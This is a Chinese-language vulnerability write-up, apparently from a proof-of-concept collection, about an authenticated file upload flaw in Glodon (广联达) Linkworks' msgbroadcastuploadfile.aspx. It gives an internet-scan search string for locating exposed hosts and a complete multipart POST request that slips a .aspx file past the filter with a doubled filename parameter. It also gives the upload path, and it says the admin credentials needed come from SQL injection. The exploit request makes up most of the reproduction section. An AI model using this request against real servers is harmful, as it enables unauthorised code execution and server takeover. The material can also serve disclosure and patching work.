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50 lines
1.3 KiB
Markdown
50 lines
1.3 KiB
Markdown
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# 广联达 Linkworks msgbroadcastuploadfile.aspx 后台文件上传漏洞
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## 漏洞描述
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广联达 Linkworks msgbroadcastuploadfile.aspx 存在后台文件上传漏洞，攻击者通过SQL注入获取管理员信息后，可以登陆发送请求包获取服务器权限
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## 漏洞影响
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广联达 Linkworks
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## 网络测绘
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```
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web.body="/Services/Identification/"
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```
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## 漏洞复现
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登陆页面
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GTP.IM.Services.Group.WebSite.GTP.IM.Services.Group 存在文件上传，上传后在当前目录 Upload下
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通过SQL注入获取管理员账号密码后登陆后台上传文件,验证POC
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```
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POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
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Host:
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
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Cookie: 0_styleName=styleA
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------WebKitFormBoundaryFfJZ4PlAZBixjELj
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Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
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Content-Type: application/text
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Test
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------WebKitFormBoundaryFfJZ4PlAZBixjELj--
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```
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```
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/GTP/IM/Services/Group/Upload/xxx-xxx-test.aspx
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```
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